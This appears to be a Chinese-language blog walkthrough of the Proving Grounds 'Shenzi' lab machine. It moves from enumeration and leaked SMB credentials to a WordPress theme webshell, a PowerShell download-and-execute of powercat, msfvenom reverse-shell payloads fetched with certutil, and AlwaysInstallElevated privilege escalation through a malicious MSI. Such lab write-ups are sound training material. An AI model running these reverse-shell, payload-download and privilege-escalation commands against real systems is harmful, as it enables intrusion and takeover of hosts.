Proving Grounds Practice : Shenzi Walkthrough
Proving Grounds Practice : Shenzi Walkthrough
Foothole (立足點 ) :
- 傳統枚舉時沒有發現任何可以利用的點,但有發現 WordPress 但沒找到網站
- 透過 cewl 建立字典檔查到 WordPress 的網站路徑
- WordPress 標準手法拿 Reverse Shell
PE ( 提權 ) :
- winPEASx64.exe 執行後發現 AlwaysInstallElevated 設定為 1
- 建立 *.msi Payload 然後執行拿 Reverse Shell
注意事項 :
- cewl 的利用,抓取網站的關鍵字當作字典檔
- AlwaysInstallElevated 設定為 1 的利用
第一步 Rustscan,└─$ rustscan -a 192.168.176.55 --scripts none --ulimit 5000 | tee rustscan
snmp closed,└─$ sudo nmap -sU -p 161 192.168.176.55 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 21,80,135,139,443,445,3306,5040,7680,49664,49665,49666,49668,49667,49669 192.168.176.55 | tee nmap
21 FileZilla ftpd 0.9.41 beta
80 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
443 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| ssl-cert: Subject: commonName=localhost
enum4linux,└─$ enum4linux -a 192.168.176.55
SMB check,└─$ smbclient -L \192.168.176.55
發現一個名稱 Shenzi
SMB 登入 Shenzi 確認,└─$ smbclient //192.168.176.55/Shenzi
將檔案通通抓回來,mget *
passwords.txt
1. MySQL : root 不需要密碼
2. Mercury : newuser:wampp
3. WebDAV : xampp-dav-unsecure:ppmax2011
- LoadModule dav_module modules/mod_dav.so
- LoadModule dav_fs_module modules/mod_dav_fs.so
4. WordPress : admin:FeltHeadwallWight357
└─$ cat sess_klk75u2q4rpgfjs3785h6hpipp
PMA_token |s:32:"522b574a21767922222439295b4b2975"
HMAC_secret |s:16:"67gK3D[0mYw<Mlpn"
PMA_token |s:32:"522b574a21767922222439295b4b2975"
解密 : "R+WJ!vy""$9)[K)u"
└─$ strings why.tmp
└─$ cat xampp-control.ini
由於獲得了幾組帳號密碼,故先建立帳號與密碼檔方便之後新發現與破解使用
FTP Anonymous 匿名登入失敗
FTP ftp:ftp 測試登入失敗
hydra FTP 沒發現,└─$ hydra -L ./usernames.txt -P ./passwords.txt ftp://192.168.205.55 -V
crackmapexec 看來都可以直接讀取,第一個密碼都顯示 PASS └─$ crackmapexec smb 192.168.205.55 -u ./usernames.txt -p ./passwords.txt --continue-on-success
MySQL 不給登入,有限制 IP,└─$ mysql -h 192.168.205.55 -u root -p
whatweb
80 /
80 /robots.txt
80 /phpmyadmin 有限制 IP
443 /
出現 Bad request! 且另外從 nmap 查看,存取 443 看來要帶 localhost 去存取才會過
先暫時跳過,等拿到登入點後再試試看
gobuster 80,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.205.55 -c -t 150 -x txt,pdf,git,php | tee gobuster
80 /img
WebDAV 登入也失敗
接著繼續 gobuster 掃 80 底下的 dashboard 試試看
發現一個新的使用者帳號 shenzi
hydra 測試 FTP 依然沒有任何發現
至此有一點卡住,簡單整理一下目前的發現
- FTP : 現有發現之帳號密碼都沒有用
- SMB : 有個特殊資料夾,有幾個檔案有寫密碼
- 80 : 可以發現是 XAMPP 且看來有安裝 Wordpress
- 443 : 無法遠端存取
- 3306 : 無法遠端存取
依據上述的發現來看,目前應該是朝向查找網站的 wordpress 路徑
使用 cewl 抓網頁關鍵字來做新的路徑字典檔
└─$ cewl -d 5 -m 5 -w newdir.txt "http://192.168.205.55"
再次 gobuster 試試看,└─$ gobuster -w ./newdir.txt dir -u http://192.168.205.55 -c -t 150 -x txt,pdf,git,php | tee gobuster-new
原來 wordpress 藏在跟使用者名稱一樣的路徑下
80 /shenzi
使用拿到的 WordPress 帳號密碼 admin:FeltHeadwallWight357 測試登入
成功登入了
修改佈景主題 404 頁面,改成 webshell.php 的內容
開啟來看看,http://192.168.205.55/shenzi/wp-content/twentytwenty/404.php
漂亮,成功的 webshell 畫面
標準作業,powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.162/tools/powercat.ps1'); powercat -c 192.168.45.162 -p 4444 -e powershell.exe"
執行後沒有反應
ipconfig 看一下,確認 webshell 是有用的
換另外一個標準作業,建立 payload、上傳 payload、執行 payload
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.162 LPORT=4444 -f exe -b '\x00\x0d\x0a' -o shell.exe
certutil -urlcache -f http://192.168.45.162/pg/55/shell.exe shell.exe
dir 確認上傳成功.\shell.exe 成功拿到 Reverse Shell 了
開始 PE,whoami /priv
上傳 chisel 先搭建 3306
先讀讀看 proof.txt,select load_file('C:\\\\users\\administrator\\desktop\\proof.txt'); 發現讀不到
看來 MySQL 的權限不高,先暫時放棄
改搭建 443
一樣開不了
Powershell history 沒有東西
查找檢查 Keepass 資料庫,dir /s *.kdbx,沒有發現
c:\ 底下沒有特殊的檔案與資料夾
output.txt 內容沒啥有用的資訊
資料夾 Shenzi 就是 SMB 根目錄
檢查有無未加引號的服務,Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
結果沒有發現,也有一併檢查非 Running 狀態的服務也沒發現
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
whoami /groups 沒有發現隸屬特殊群組
直接跑 winPEASx64.exe
No LAPS
LSA 沒有保護,Credentials Guard 也沒啟用,Local Cache Credential 存 10 組
實際跑了 mimikatz 還是沒用,看來還是要管理者權限只看到現有使用者 shenzi 自己的 HASH
發現 AlwaysInstallElevated 設定為 1
直接參考 winPEAS 給的路徑,相當貼心 : https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
意思是說當這兩個值設定為 1 的時候,可以透過 nt authority\system 權限安裝 *.msi 檔案
也有提供 Metasploit Payload 建置範本,都是新增一個 local 使用者
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi
#Using the msiexec the uac wont be prompted
直接建立 payload 試試看吧,不過不建立使用者,直接建立 Reverse Shell 的 Payload
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.162 LPORT=4446 -f msi -b '\x00\x0d\x0a' -o shell.msi
上傳 Payload,然後執行 Payload
Reverse Shell 進來了,whoami 確認一下是管理者
留言
張貼留言